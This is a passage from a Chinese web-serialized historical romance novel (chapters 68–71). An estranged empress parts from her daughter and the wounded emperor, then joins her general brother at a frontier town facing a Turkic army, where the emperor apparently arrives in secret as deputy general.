“阿娘,你怎么不回答昭昭,难道阿娘真的不喜欢阿爹了,阿娘是喜欢上次的那个叔叔吗,阿娘是不是还喜欢那个妹妹。” 昭昭想起上次在街上看到自己的阿娘,温柔地与别的小姑娘说话,顿时觉得自己要变成没有阿娘的小可怜,她哭唧唧道。 小姑娘的眼泪就像是断了线的珠子,一个接着一个地往下掉。 薛弗玉只好替她擦眼泪,“阿娘怎么会不要昭昭,昭昭是阿娘身上掉下的一块肉,阿娘不要谁都不会不要昭昭。” 昭昭听了她的话,才渐渐止住了眼泪,她哭得打嗝,揪着她的袖子一抽一抽道:“可是阿娘不喜欢阿爹了,昭昭不希望阿娘不开心,也不希望阿爹不开心。” 小孩子说的话没有逻辑,可落在薛弗玉的耳中,又是心疼得不得了。 “阿爹很喜欢阿娘,阿娘不在的时候,阿爹每天都闷闷不乐的,人也瘦了好多,昭昭也每天都很想阿娘。” 昭昭想起那些阿娘不在的日子,觉得阿爹就像变了个人一样,她还好几次看见阿爹看着她的时候,眼圈突然就红了。 女儿的话就像是一把刀子,无形地在她心上划了一刀。 她舍不下昭昭,可也不想呆在谢敛的身边。 这对她来说是艰难的选择。 选了昭昭,就意味着要回到宫里。 她的昭昭注定是要做这天底下最尊贵的公主,她不能因为自己的自私而选择强行将昭昭留在身边,不让她再见不到她的父皇。 她真那样做了,又与谢敛有什么区别? “阿娘也很想昭昭。” 她将人抱在怀中,心中泛着酸涩,既然暂时想不到两全办法,便只能趁着昭昭还在身边的时候,好好陪着她。 蓦地,她又想起了昨晚谢敛与她说的话。 说他不在的时候,她要好好照顾昭昭。 他不在这三个字让她觉得奇怪,他还说等打了胜仗? 她细细地品味着他没有说完的话,总觉得这其中有什么事情被她给忽略了。 “阿娘,昭昭想看看阿爹好了没有。” 昭昭扯了扯薛弗玉的衣裳,还没与忘记要去看她阿爹的事。 薛弗玉最终拗不过昭昭,也不忍心昭昭难过,只好牵着人去了厢房。 才到门口,就闻到了一股清苦的药香。 她脚步顿了顿,想起昨夜被迫紧紧贴着的滚烫身躯。 “阿爹!昭昭和阿娘来看你了!” 男人此时披着外衣坐在窗边的炕上,他的头发半披在身后,两缕碎发散在脸颊两侧,一只手随意撑着侧脸,另一只手上捏着一张信纸,正敛眉看着信上的内容。 听到女儿的声音,他抬眸看向门 边。 却见妻子牵着女儿站在门边,一大一小两张相似的脸,落在旁人的眼中赏心悦目。 恍惚间,他以为自己是在紫宸殿中。 他与妻子之间并未发生过什么,还是一如从前。 不等他有所反应,昭昭就把手从薛弗玉的手中抽中,小跑到了他的身边。 小姑娘双后放在炕上,踮起脚尖扬起头,小小的眉毛皱在一起问:“阿爹,你好些了吗,阿娘说阿爹睡一觉就好了。” “好多了。” 谢敛看着小姑娘水汪汪的眼睛,心中一软,想要把人给抱起。 然而小姑娘自己直接爬了上去,接着想要继续他的身上爬,却被赶来的薛弗玉给制止住了。 “昭昭,不要淘气。” 女子温柔的嗓音和从前一样,她上前抱着昭昭坐到了谢敛的对面。 她想要谢敛好得快一些,等他好了就能让他离开薛宅,所以方才生怕昭昭会碰到他的伤口,忙把人给抱走。 目光不经意扫过他手中的那封信。 只看见突厥二字,很快就被他不动声色地收了起来。 薛弗玉蹙眉,他又在瞒着她什么?—— 作者有话说:最后一天了,回收旧营养液[空碗],不要的旧营养液可以拿来我这换两个不锈钢脸盆([狗头叼玫瑰] 第69章 薛弗玉看着父女俩说话的画面,自己的思绪又因为看见他方才信上写的突厥二字而飘远。 昨日陈管事告诉她的消息还犹在耳边。 她想要立刻赶到阿弟的身边去,即便是不能上战场,她也希望能陪在阿弟的身边。 除此之外便是不想面对谢敛,自从昨晚与他说开之后,如今面对他的时候,她的心情尤为复杂。 可一想到女儿在这里,自己要是又突然消失不见,女儿定然会很伤心。 谢敛与昭昭说话的同时,察觉到了她的心不在焉,他想要与她说话,但是看见她面对着自己神色淡淡,又陷入了失落中去。 他想起自己方才看到信上的内容,知道自己最多只能再在这里呆十天,十天之后就要去锦泉郡。 今早他收到从前安插在突厥军队的暗探传来的消息,信上称突厥军队在江阴镇百里外有所动作。 如今已然进入秋天,等冬天的时候突厥想要再打大周的主意也难,他们要趁着在冬天来临之际啃下大周的一块肉。 他知道现在突厥和几年前不一样,自然也不敢轻视。 成亲之前他曾找了先帝请示,想要来西北历练,可是先帝如何都不愿,还训斥他不安分。 即便是身为皇子,他同样也有一颗报效大周的心,奈何先帝不肯放他离开皇宫。 这一次倒是让他有了能直面突厥的机会。 “大夫说你的伤过十日便可拆线。” 薛弗玉明面上提醒他伤口事宜,实则是暗暗告诉他十天之后他伤好得差不多就该离开了。 谢敛本在十天后要以另一重身份前去江阴镇,只是她说出来的话却也让他有些受伤。 “玉姐姐这么想我离开么?”他问。 薛弗玉正要点头,然而看见身前的昭昭之后,她只能勉强道:“臣妾只是担心陛下的身体,提醒陛下要及时去医馆找那老大夫拆线,并没与别的意思。” 她在说谎。 这是谢敛的第一反应,果真他看去的时候,她眼神闪了闪。 他指尖暗暗攥紧,碍于昭昭在,不得不道:“皇后甚体贴。” 这样的话从前他也说过不少,只是这一次却没有真心实意,落在薛弗玉的耳边,让她觉得他在嘲讽自己。 她收留他在薛宅养病已经是仁义至极,他竟然还敢暗讽她,所以昨晚他对自己剖白的那些话,都是因为烧糊涂了才说的吧? 虽然在心里暗暗怀疑他,可是面上却不显,她脸上对他难得露出微笑:“多谢陛下夸赞。” 只是这笑意却不达眼底。 二人之间客气得仿佛是才刚认识的两个陌生人。 坐在薛弗玉身前的昭昭回头看了一眼身后的阿娘,又转头看向自己的阿爹,发现二人脸上虽然都带着笑,可她就是觉得他们不是真正的高兴。 小姑娘歪头想了想,然后握住自家阿娘的手放在炕案上,又探身去把她父皇的手牵起,她严肃着脸对着他们道:“阿爹阿娘不要闹矛盾了,快和好吧,不然昭昭会难过的。” 她把谢敛的手放在薛弗玉手背上,然后让他不许拿开。 薛弗玉的手背覆上带着薄茧的掌心,掌心上温暖的热度源源不断的传给她。 她像是被烫到了一般,下意识想要抽回自己的手,然不等她接下来的动作,那覆在她手背上的手掌骤然收紧,将她的手牢牢握在掌心。 那个力度大到好像只要他稍微一松手,她就会消失不见。 其实他没有告诉任何人,她消失的那段日子,他经常做梦梦见她突然消失在他眼前的画面,那种锥心的痛会从梦中带到现实。 此时女儿给他紧紧抓着她不放的机会,他自然不敢松手。 “陛下,你弄疼臣妾了。” 薛弗玉眉心蹙起,她感觉谢敛要是再用力一点,能直接把她的手给捏碎了。 他真的不是在借着这个机会报复自己吗? 她在心里暗暗地想。 谢敛这时候才回神,他方才走神,想起那些梦便没有注意手上的力度,一时用了点力气,回神后他松了松手,然而却没有舍得放开她,只是道了声抱歉。 “阿娘不要生父皇的气了好不好。”昭昭见状道。 薛弗玉不知道自己究竟有没有生他的气,她想了想之前或许是有的,只是在昨晚与他说了那些话之后,她便觉得他不值得自己生气了。 但有关他的任何事,再也牵扯不了她的情绪。 于是她温声道:“阿娘没有生你父皇的气。” 闻言谢敛诧异地看向她,他心中原是因为她说不生他的气而窃喜,然而等他对上她那双平静无波的眸子时,才渐渐明白她是不在乎了。 因为不在乎,所以不管他做什么,她都不会生气了。 “我宁愿你生我的气。”谢敛轻声道。 打他骂他都好,而不是像如今这样待他就像是对待一个无关紧要的人。 他的心里就像是塞满了什么东西一样,沉闷到让他透不过气来。 他的手慢慢松开,整个人瞬间变得有些消沉。 薛弗玉立刻收回自己的手,假装没有听见他的话,没有理会他的情绪,她对着昭昭道:“家里还有事需要阿娘处理,昭昭在这里好好陪你阿爹解闷好不好?” 昭昭觉得阿娘不生阿爹的气就算是两人和好了,她知道大人是很忙的,自己不能老是缠着阿娘,于是乖乖地点头:“阿娘放心,我会照顾好阿爹的!” 说着自己下了炕,迈着小短腿去一边努力地给谢敛倒了一杯茶,又小心送到他的跟前:“阿爹喝茶!” 薛弗玉瞧着小姑娘学着大人的样子,一时忍俊不禁,当目光与谢敛的撞到一起之后,脸上温柔的笑又立马消失不见 。 她起身摸了摸昭昭的头,柔声道了声好孩子,然后出了房间。 到门边的时候,她鬼使神差地回头往二人的方向看去。 只见男人神色柔和地与昭昭坐在一处,这样温馨的画面从前她也没有少看,半晌,她收回自己的视线,抬脚踏出房门。 “阿爹,茶要倒出来了!” 谢敛的眼角余光一直追随着薛弗玉的身影,直到她的身影彻底消失在门外,他突然陷入了沉思中。 走神之际端起的茶水倾斜,直到昭昭大声的提醒他才收起神思。 十天之后,他就要离开这里前往江阴镇,又要有好些日子不能见到她了。 也许这十天里,是他们最后的时光 薛弗玉先去回了自己的院子,吩咐岫玉替她收拾换洗的衣物等东西,后又去了前院找陈管事交代事情。 陈管事坐在下首,听了她的吩咐之后,有些不可思议:“姑娘要去多久?” 薛弗玉道:“等战事结束我就会回来,陈伯,如果我离开之后,他伤好后没有带走昭昭的话,还请你帮我照看好昭昭,是我这个做娘的对不起她。” 此时陈管事也知道她下了决心,于是问:“那姑娘是打算这几日离开?” 薛弗玉点头:“我原是想明天就走,可我有些舍不得昭昭,想着这几天好好陪陪她。” 她承认她对昭昭有些自私,只是她从前一直后悔没有能在阿弟身边,何况这一战今非昔比,突厥派的人是曾经夺走大周一座城池的将军,阿爹也是死在他的手中,此番他为主帅,大有烈火燎原之势,她害怕万一阿弟不敌 这个想法才冒出来,她就赶紧掐断了,她的阿弟骁勇善战,肯定不会有事的,他一定会赢的。 所以她想要在阿弟的身边。 若是阿弟真的不幸战死,她也能亲自替他收尸。 当然,她相信她的阿弟是不会输的。 “姑娘若是想好了,我也不好继续劝你什么,只是江阴镇离突厥驻扎军队的地方不过百里之余,还望姑娘万事小心,我们还等着你和少爷的好消息。” 当年姑娘带着少爷上京,少爷才只有十六岁,后来他听说西北军中出了一名少年将军,也姓薛,那时候他就猜大约是少爷。 他不知道姑娘和姑爷之间发生了什么事,但他还是会站在姑娘这边。 薛弗玉看着苍老了许多的陈管事,听着他对她的叮嘱,忍不住眼睛发酸,她道:“陈伯,家里就交给你了,抱歉,你本该颐养天年的。” 陈管事摇了摇头,道:“我是看着姑娘和少爷长大的,说句逾矩的话,我早已把你和少爷当成了亲人,姑娘尽管放心去吧,这里一切都有我,小小姐要是没有和姑爷离开,我会好好照顾小小姐的。” 薛弗玉想着自己瞒着陈管事她在京中身份的事,一时对他生出愧疚,她顿时想要坦白:“陈伯,其实我是” “姑娘不必说了,希望有朝一日姑娘能随心所欲。”陈管事打断了她道。 薛弗玉闻言眼圈泛红,起身对着他深深地行了一个礼:“多谢陈伯。” 五日后,天还未亮起,远处的天际线出现一条浅白的线链接灰暗的天,薛弗玉松开还在怀中睡得香的女儿,在昏暗中蹑手蹑脚地下了床。 小心翼翼洗漱收拾完之后,她又重新回到了卧房走到床边,掀开帐子后,看着熟睡的昭昭,她的心里泛起心疼,俯身在她的额头上亲了亲。 “抱歉,阿娘还有更重要的事要做。” 薛弗玉说完最后看了她一眼,才恋恋不舍地离开。 走出房门前,她特意给昭昭留了一封信。 昭昭相比其他的同龄的孩子,在她这里已经算是懂事,或许等昭昭看了她留的信,会体谅她这个做母亲的。 趁着天还未亮,昭昭还在熟睡的时候,薛弗玉带着包裹从薛宅的角门离开了 薛岐正在城门上远眺,这几日时不时就能收到突厥军队的消息,只是那军队在百里外便没有再继续往前的意思。 此次的主帅曾用带了剧毒的箭射伤了阿爹,最后导致阿爹不治身亡。 后来不知道因为什么原因,此人销声匿迹了几年,他想要替阿爹报仇却一直都没有机会,如今好不容易有了机会,他自然是不会放过的。 “将军,陛下派的副将何时才会来?” 他身边一名将士忍不住问。 将军月前告诉他陛下打算派一名副将前来协助将军,这都过了一个多月了,还是没有见到那副将的身影。 怕不是还没有来,听见突厥那主帅的名字就吓得屁滚尿流了。 他们从未听说过那名副将的名字,明显就是无名小卒,且听说是从京中来的,别是那等王公贵族的小公子前来他们军营历练的。 这般想着,他也说出了心中的鄙夷,一旁的另一名年轻将士听了,忍不住打趣他:“刘四,你之前一直都想做将军的副将,想来是对你口中的绣花枕头很是不服,不如等他来了,你跟他比试比试看看谁更有资格当副将?” 刘四啐了一口:“比试就比试,难不成我刘大锤还怕了那公子哥儿不成,就怕我还没使出三分力,他就趴倒在地上了!” 语罢几个人都哈哈大笑起来。 薛岐听着他们胡诌,脸上没有任何的笑意。 按理说那名副将早该到了,谁知道现在不仅没到位,还没了消息。 莫不是谢敛在耍他? 不对,这种紧要关头,就算谢敛真的是头猪,也不可能拿这种事情开玩笑。 “报!将军,有人找你!” 一名士兵前来禀告。 刘四立马来了兴趣,跃跃欲试道:“别是说曹操曹到,那公子哥儿现在就来了?” “守在这里不许乱走!” 薛岐下完命令就下了城门。 谁知道等在城门内树下的不是什么副将,而是前来寻他的薛弗玉。 阿姐? 薛岐看她见了他脸上很快就露出一抹浅笑,他忙走了上去。 “阿姐,你不是回去了,怎么又来了,这里已经不安全,你快回邑沧郡去!”他脸上没了平日里吊儿郎当的神色,严肃着一张脸道。 薛弗玉若是能轻易被劝说的人,如今也不会出现在这里,她道:“我不会回去的,我要这里,亲眼看着你打胜仗。” 薛岐仍是想要劝说她回去:“突厥军队就在百里外,我们谁也不知道他们会何时突袭,这里危险,阿姐在这里,我反而会分心。” “你不会的,阿姐相信你的实力,相信你能打赢突厥,更相信你能替阿爹报一箭之仇。” 薛弗玉抬手拍了拍薛岐的肩膀,以长姐的身份道。 这语气就好像小时候他跟着阿爹学武时,她鼓励他时一样。 薛岐鼻子一酸,别过脸,不想让她看见他泛红的眼圈。 “阿姐总是这样,让我拿你一点办法都没有。” 第70章 薛岐到底是没有能劝说成功,薛弗玉就这样在薛岐的府上住了下来。 薛岐的亲信皆知道薛岐有个当皇后的姐姐,薛弗玉为了避免引起过多的麻烦,明面只说自己是薛岐丧夫的堂姐。 自从薛弗玉住进薛岐府上之后,那些军中的将士时不时就会去以各种理由去找薛岐。 甚至还有人拐弯抹角朝薛岐打探薛弗玉的消息。 这些人的目的被薛岐一眼就识破了。 “别打我阿姐的主意,她夫君尸骨未寒,才不会那么快再嫁,再者你们也不撒泡尿照照镜子,就你们这样的能配得上我阿姐吗?” 薛岐忍无可忍,最终这些人给轰了出去。 “滚滚滚,要是再没什么事来打扰我,尤其是打扰到我阿姐,别怪我军棍伺候!” 把人轰走之后没多久,薛岐一回头, 正好看见薛弗玉抱着一束拒霜花前来。 拒霜花虽然开得艳丽,可却成了她那张脸的陪衬。 薛岐看得晃神,心道怪不得那些人打起了阿姐的主意。 薛弗玉其实在拐角的时候就听见他说话,不得不说,他拿来骗那些人的理由和她之前搪塞李靳时的一模一样,不得不说姐弟俩真的心有灵犀。 只希望谢敛不要知道阿弟在背地里说他死了,否则定然又要生阿弟的气。 “阿姐,这花在哪摘的?”薛岐凑上去闻了闻她怀中抱着的花,问道。 薛弗玉笑着道:“是从小巷口的卖花女那买的,我瞧着你的屋子什么都没有,未免有些单调,索性买了花来装饰。” 薛岐闻言难得露出别扭的神色:“男子汉大丈夫哪里能跟个小姑娘一样,在房间里插着花的?” 虽然嘴上嫌弃,但也没有拒绝她,跟着她一起进了自己的屋子。 他的屋子除了一张床和一张桌案及几张椅子之外,就只剩一个放着兵器的武器架,果然如薛弗玉所说的一样冷冰冰的。 薛弗玉找了瓶子把花都插进去后,才对着他道:“听说突厥那边开始有了动静,你们可有什么计划?” 这种事情她被本不该问的,军中之事哪能这么轻易就告诉她的。 可是薛岐却没有要瞒着她的意思,他道:“我打算这几日挑个时间让人去试探他们的深浅。” 这是要偷袭的意思。 只是要派谁去,却成了一个棘手的问题。 他的手中有一支精锐,再加上从别处调来的另一支精锐,对他来说已经绰绰有余,他有意想知道让那支精锐先去突袭,可没有副将带领,他一时有些犯难。 谢敛派来的那名副将至今没有消息,是死是活总得给他一个准话。 “可是你亲自带领他们前去?” 薛弗玉有些担心,可若是阿弟亲自带人奇袭的话,是不是更容易成功? 薛岐知道她的担忧,他笑着道:“阿姐放心,我是主帅,不到正面交锋的时候,自然是不会亲自动身的,只是我缺少一名副将,听说陛下派了一名副将前来协助,我想借此机会试一试那名副将的本事。” “他钦点了副将?” 薛弗玉脑中一瞬间似闪过什么,但她还没来得及抓住,很快就消失不见。 薛岐摸了摸下巴:“嗯,那名副将也姓谢,该不会是他不放心我,所以特意派了皇室中人前来监视我的?” 薛弗玉闻言干脆地摇头:“不会的,这样的紧要关头他不会这么做,他若是真的忌惮你,早就该派亲信到你身边了。” 她虽然未能完全了解谢敛,可多少还是能知道他的脾性。 没想到她会替谢敛说话,薛岐轻哼一声:“阿姐都不在他身边了,怎么还帮着他说话。” 听着他略带孩子气的话,薛弗玉脸上露出无奈的笑:“这么大个人了怎么还跟自己的姐夫吃醋。” 说完后她脸上的笑僵了一瞬,但是很快又回复如常。 “很快就不是我姐夫了。”薛岐突然道。 “什么意思?”薛弗玉面上露出不解,总觉薛岐有什么事没有告诉自己。 “等这场战争结束阿姐就会知道了,反正阿姐也不喜欢他,不想留在他的身边,我也是为了成全阿姐。” 薛岐眉梢一挑,等这场仗打完,他就把兵权交还给谢敛,让他给阿姐一纸休书,届时阿姐就能名正言顺地彻底离开谢敛了。 当初要不是看在阿姐已经嫁给他的份上,他才不得不认了,如今他知晓阿姐不愿意呆在谢敛的身边,他自然是不会再错过这个机会让谢敛放过阿姐。 且现在他也不会天真的以为,谢敛没有发现自己被他和阿姐摆了一道。 薛弗玉见他和自己打哑谜,心中顿生疑惑,不过转念一想,若真如他所说的,或许也是一件不错的事 因为还没真正打起来,她在江阴镇的日子其实比起在邑沧郡还要悠闲,她今日看见薛岐衣裳的袖子破了,便想着给薛岐做两身衣裳。 这一日闲来无事,她索性亲自去街上买布和针线。 她的身边跟着一名薛岐府上的小丫鬟,此时俩人手中各抱了一匹布。 正在街上走着,远处突然响起疾驰的马蹄声。 街上的人很快都纷纷让出了一条道,薛弗玉生怕被马蹄扬起的尘给弄脏了怀中抱着的布料,忙转身避让。 就在她转身的一瞬间,她看见距离自己越来越近的高头大马上,正坐着好几日不见的男人。 她暗自心惊,忙转过脸去不让对方看见自己。 他怎么会在这里? 才十多天就骑马,他的伤已经无碍了吗? 连带着两个问句,等马跑远之后,她才重新转身,望着已经走远的背影出神。 她不知道的是,在她转身背对着他,男人经过的时候,那双黑沉沉的眼睛在她的背影上盯了一瞬。 “姑娘,时间不早了,咱们快些回去吧。” 身边的小丫鬟见她出神,忙催促道。 薛弗玉嗯了一声,又往府里赶。 不成想才走了几步路,正好碰见薛岐身边的都尉卫缙,他见到薛弗玉后,脸上立刻露出几分笑意,叫住了她:“薛姑娘可是要回府?我正好也要去找将军,不如一起?” 卫缙虽然是都尉,可生得清秀,与那些风吹日晒的糙汉子倒是有些不同,还经常被军中将士打趣,称军师的身份应该更适合他。 不过见识到了他的身手之后,那些人便也笑不出来了。 时常在军营严肃着一张脸的卫都尉,此时见了薛弗玉,不过就与她说了一句话,此时脸上就染上了红晕。 薛弗玉没有察觉到他的不对劲,想着他跟了薛岐许久,是薛岐最得意的左膀右臂,于是没有拒绝他,对他也客气许多:“卫都尉今天不用在军中训练那些士兵吗?” 卫缙不敢正视她的目光,听着她温柔的语气,一颗心顿时扑通扑通欢快地跳着,他极力压抑着想要往上扬的唇角,“今日的训练已经结束,所以我才要去找将军商量接下来的训练事宜。” 他走在薛弗玉的身边,平日里走起路来步步生风的男人,此时为了配合她的步子,而故意放慢了许多的脚步,他甚至恨不得再慢一点,这样就可以与她多相处一些时间。 薛弗玉对军中之事不太了解,便听着他说那些事情,时不时应一声,唇角始终带着清浅的笑意。 等二人回到府上的时候,门口的灯笼已经亮了起来。 守卫见了卫缙,忙提醒道:“都尉来得正好,陛下钦点的那名副将已经到了,此时正在大堂见将军,长史他们都在,都尉也快些前去吧!” 卫缙以为副将的事情没了下文,他正想着建议让薛岐从别的地方调遣一名得力的将士相助,没想到那副将今日到了。 他之前还听到底下的人猜测那名副将贪生怕死,一直窝在京中不敢前来。 “卫都尉去吧,别让我阿弟他们等久了。” 薛弗玉见他停在门口迟迟没有进去,好心再次提醒。 卫缙转头看了一眼身边的女子,眼中颇有几分不舍,只是被他掩藏得很好,他对着她拱手道:“薛姑娘,我去了。” 薛弗玉点头,目送着他前往大堂,而后则往另一边的后院去了。 至于那位被阿弟嫌弃的副将是谁,她一点都不关心,反正谢敛用人的眼光一向不会错,总不能真的在这种时候给他们弄来一个没用的花架子。 对于用人这点,她还是相信谢敛的。 晚膳时间,薛岐黑着一张脸到了花厅。 薛弗玉正吩咐着小丫鬟摆饭,骤然瞧见脸色快黑成锅底的薛岐,不禁有些纳闷,她问:“怎么了?” 难不成谢敛真的给为了薛岐添乱,派了一名草包副将前来? 但是很快又被她给否定了。 薛岐在她对面重重坐下,想起自己看见那名所谓副将的脸时的场景,抬起手就要往桌面上拍去,但是一想到上面摆好了饭菜,又停顿 了下来。 他咬牙切齿道:“阿姐,你是不知道,我怀疑谢敛他脑子是不是有疾!” 薛弗玉听到他直言不讳的话,下意识扫了一眼周围,除了那名摆饭的小丫鬟假装什么都没听到之外,再没有其他人,她皱眉道:“阿弟慎言,小心被有心人听去了。” 谢敛这男人小气得很,要是让他知晓阿弟背地里骂他,说不定会找借口惩罚阿弟。 她身为皇后在他身边都要小心翼翼,即便是对他不满,也只敢在心里骂两句,不敢真的骂出来。 薛岐更气了:“你都不知道,那副将其实——” 说到一半他瞬间住口,越想越憋屈。 薛弗玉把盛满了米饭的碗递给他,见他突然停住,不解道:“他怎么了,难道真的是不中用的绣花枕头?” 薛岐见她面上带着疑惑和好奇,原先想要不吐不快的心思又瞬间没了,他摸了摸自己的鼻子:“没什么,就是不太满意这个人罢了,你这几日在府上不要随意走动,尤其是不要去大堂那边,免得和他撞上了晦气。” 人都到了,薛岐总不能让人离开,也不能让人离开。 本来他就因为副将一事心里憋着气,谁知道好不容易等来了他派来的副将,看清楚了人之后,他宁愿没有副将。 “阿弟,到底是谁能让你气成这样?”薛弗玉蓦地想起傍晚在街上看到的那道身影。 总不会是不可能,可怎么会是呢。 “阿姐不用知道是谁,反正和谢敛一样不讨人喜欢的家伙。” 他越是这样说,让薛弗玉更加的好奇这副将是何许人也,能让薛岐气成这样的,至今为止除了谢敛之外,再也没有第二个人能让阿弟这么讨厌吧? 那名副将倒是厉害,一见面就成功引起了阿弟的怒火。 不过既然阿弟不想她碰到那个人,她自然也不会真的因为好奇而去见人家,且听说是京中来的,万一认出她也会图惹麻烦。 接下来的几天,她真的如薛岐所交代的,没有怎么离开过自己所住的院子,原因无他,这几日她在房中开始给薛岐做衣裳和鞋子。 她安静的坐在窗边,借着外面撒进来的阳光认真的裁剪布料,小丫鬟莺儿在一旁帮着打下手。 院中的桂花不知何时开了,如米粒般大小的浅黄色花朵散发出甜丝丝的香味,不过几日的时间,连她的屋子盈满了桂花香。 她突然想起在旧宫的时候,隔壁无人居住的琼华殿的前院就种了好几棵桂树。 每到深秋,桂花的甜香就会顺着中间隔着的那堵墙飘到他们的院子。 她喜欢桂花的甜香,偶尔会站在墙边抬头去看对面的桂树,看着满树的桂花眼馋得不行。 没想到第二天她闻着桂花的甜香醒来,房中不知何时出现了装着桂花的篮子,里面的桂花仿佛还带着清晨的露珠,带着沁人心脾的香味,像是刚采摘下不久的。 最开始她还以为是碧云一大早起来采摘的,直到碧云进来看见篮子的桂花露出同样困惑的眼神,她便知晓是谁摘的了。 她特意找了同住屋檐下的少年问桂花的事,少年却不承认,她明明闻到了他身上传来的桂花。 既然少年不承认,她也不会追着问,而是让碧云拿出一些桂花做了桂花糕,在晚上的时候送去给少年。 她知晓他喜欢甜食,还特意多加了糖。 然后亲自给他送了去,少年虽然嘴上没说什么,可吃到嘴里的时候,明显唇角往上翘了翘。 想起往事,薛弗玉手上的动作慢慢停了下来,她转头看向窗外的院子里的桂树,然而有什么在院子中一闪而过,她蹙起眉头,再细细查看的时候,院子里分明没有什么。 “莺儿,方才你可有瞧见什么?” 薛弗玉放下手中的布匹,站起身子皱眉看着院子,疑惑地问道。 莺儿闻言也跟着站起身顺着她的目光看去,“院子里没什么呀,姑娘可能是这几天做了太久的衣裳眼花了。” 薛弗玉仍旧是不放心,她道:“你出去外面看看,若是有什么不对的地方,便赶紧去喊外头的守卫前来。” 她怕万一又有突厥暗探混进了府上,觉得还是谨慎一些为好。 可莺儿出去院子里仔细检查了一圈,也没有发现有不对的地方。 “许是姑娘眼睛疲累看错了,姑娘不必担心,府上有这么多守卫在,且这里是将军的府邸,有哪个小贼敢闯进来,除非是不想活了。” 莺儿进来安慰她道。 “你说得对,许是这几日累到了。” 薛弗玉被她一说,顿时觉得有道理,这些日子她偶尔会感觉有人在看暗处看自己,或许是因为战事在即的原因,她的心中不曾真正的放松,所以才会产生错觉。 当晚,她闻着满屋子的桂花香辗转反侧,在心里数着薛岐所说的精锐前去偷袭突厥军队的日子。 还剩两天的时间,也不知道阿弟是不是派那名副将前去。 那人是谢敛钦点的,要是在偷袭中受伤更甚者身亡,不知道谢敛会不会因此迁怒阿弟。 大约不会的吧,毕竟战场上死亡本就是寻常。 希望这一仗大周能赢,也希望大周将士少些伤亡。 伴随着心中所愿,她渐渐沉入了梦乡。 即便是在梦里,那股子桂花香仍旧挥散不去,半梦半醒之间,她似乎感觉到有什么温热柔软的东西碰了碰她的额头。 带着潮湿的桂花香气,久久不散。 翌日起来,洗漱完出了卧房,她的目光不经意落在外面窗边的桌案上。 只见孔雀蓝釉的瓶子里插着几枝带了露珠的桂花,看着像是刚折下不久—— 作者有话说:这章掉落红包[三花猫头]《 》 70-73 第71章 她盯着瓶口的桂花看了一会儿,最终又收回了自己的目光。 不知道是不是她的错觉,她总觉得着场景莫名熟悉,半晌,终于想起去年冬天,谢敛在梅园折了枝白梅带回了她的凤鸾宫。 “莺儿,这桂花是你插上的吗?”似曾相识的对话再次响起。 用早膳的时候,她问一旁候着的莺儿。 莺儿顺着她的目光看去,看见那孔雀蓝柚的花瓶里插着的桂花,面上跟着露出疑惑:“咦,奴婢还以为是姑娘自己折了插上去的。” 薛弗玉手中的动作顿了顿,接着又似若无其事道:“既然不是你,想来是别的丫鬟送来的。” 那孔雀蓝柚的花瓶之前她的房中并没有。 她想起昨天夜里做梦时额头上温热柔软的触感,一双眉头轻轻拧着。 莫非真的是他? 她心不在焉地想着。 “姑娘今日还要继续给将军做衣裳吗?” 等薛弗玉用完早膳,莺儿带人收拾的时候随口一问。 薛弗玉做了几日的衣裳,感觉眼睛有些疲累,想着今日歇一日,便道:“明日再做吧。” 今日她想要去确认一件事。 虽然阿弟让她不要去见那副将,可她为了印证心里的想法,必须去见一见那名副将,看看对方的庐山真面目。 只是等她故意散步到大堂附近的时候,却听到来往的下人说,今日薛岐和副将一大早就去了军营。 平日里这个时候薛岐才出门,今日出门这样早定然是有什么急事。 半晌,她想起明日那名副将就要带着精锐前去突袭,他们这么早前去军营,定然也是为的商量计策。 心里突然有种说不上来的失落,薛弗玉转身打算回自己的院子。 “将军的佩剑落下了,陈四,你快给将军送去!” 薛弗玉听见身后有个亲卫着急吩咐人,她转身,正好看见薛岐平日里带着的佩剑正被亲卫握在手中。 她上前道:“给我吧,我给他送去。” 那名亲卫见了她,忙拒绝道 :“不行,这种事情怎么能让姑娘亲自去,若是将军知道了非得骂我不可。” 薛弗玉的目的本就不是送佩剑给薛岐,她浅笑道:“我骑马送去也快,不如就让我去吧,阿弟见了我说不定会高兴。” 亲卫仍旧是不愿,薛弗玉好说歹说,最终才让他同意。 等她带着佩剑离开的时候,那亲卫挠了挠头:“陈四,姑娘她真的会骑马吗?” 陈四恨铁不成钢道:“我哪里知道,你不是说不用姑娘送的,怎么最后又答应了,军营不准闲杂人等进入你又不是不知道。” 亲卫一掌对着陈四的后脑勺拍去:“你怎么不早说,这下可好,要是那群大老爷们吓到了姑娘,将军非拔了我的皮不可!” 薛弗玉让人从马厩里牵出一匹马,背着剑翻身利落地坐上了马背,很快就出了府朝着军营的方向去了。 这一路上她能明显感觉到街上的人越来越少,还有不少人往别的镇子去。 此时江阴镇上一半的平民为了躲避战争,都迁往了别处。 她顾不了这些,快马加鞭去了军营。 只是到了军营门口的时候,她还是被拦了下来。 “军营重地,闲杂人等不得进入!” 守在大门口的士兵扬声对着她道。 薛弗玉露出手中的佩剑,对着他道:“我是来给薛将军送佩剑的。” 那士兵看清了她手中的佩剑,与另一名士兵对视了一眼,很快脸上露出凝重的神情,走上前去,站在马下道:“姑娘可把佩剑交给我,我给将军送去。” 薛弗玉坚持却道:“不行,我要亲手把剑交给阿弟。” 听见她这一声阿弟,那士兵很快就明白她和薛岐的关系,都说将军的堂姐千里迢迢投奔将军,没想到就是眼前这位。 他稍作打量了一番,发现她和将军生得确实有几分相像,这才松了口:“将军说了不管如何,都不能放闲人进军营。” 薛弗玉突然有些头疼,但也不知道不应该为难对方,她纠结了良久,最终还是打算把佩剑交给这名士兵。 “那就劳烦你——” 话未说完,就听见身后响起卫缙的声音。 “薛姑娘,你怎么在这?” 薛弗玉此时已经下了马,她回身正好看见身穿盔甲的卫缙拎着一把长枪前来,此时穿上盔甲的他倒是多了几分英姿飒爽的感觉,少了些秀气。 “卫都尉,我阿弟的佩剑落在府上了,我是来给他送佩剑的。” 说着她晃了晃手中的佩剑。 “原来如此,将军他一向喜欢在军营用剑,薛姑娘送得倒是及时。” 卫缙说话的时候双目飘向远方,似乎不敢和薛弗玉对视。 薛弗玉似有察觉,她便收回自己的目光。 她想着今日怕是不能见到那名副将的真面目,只好把手中的剑往卫缙跟前一送:“那就有劳卫都尉替我把这佩剑带去给阿弟。” 卫缙听着她轻柔的嗓音,心中顿时生出不舍,顿时对着她道:“今日校场上训练还没开始,薛姑娘可要前去观看?” 其实是他想与薛弗玉多呆一些时间。 闻言那士兵却道:“都尉,将军说了军营重地闲人不得入内。” 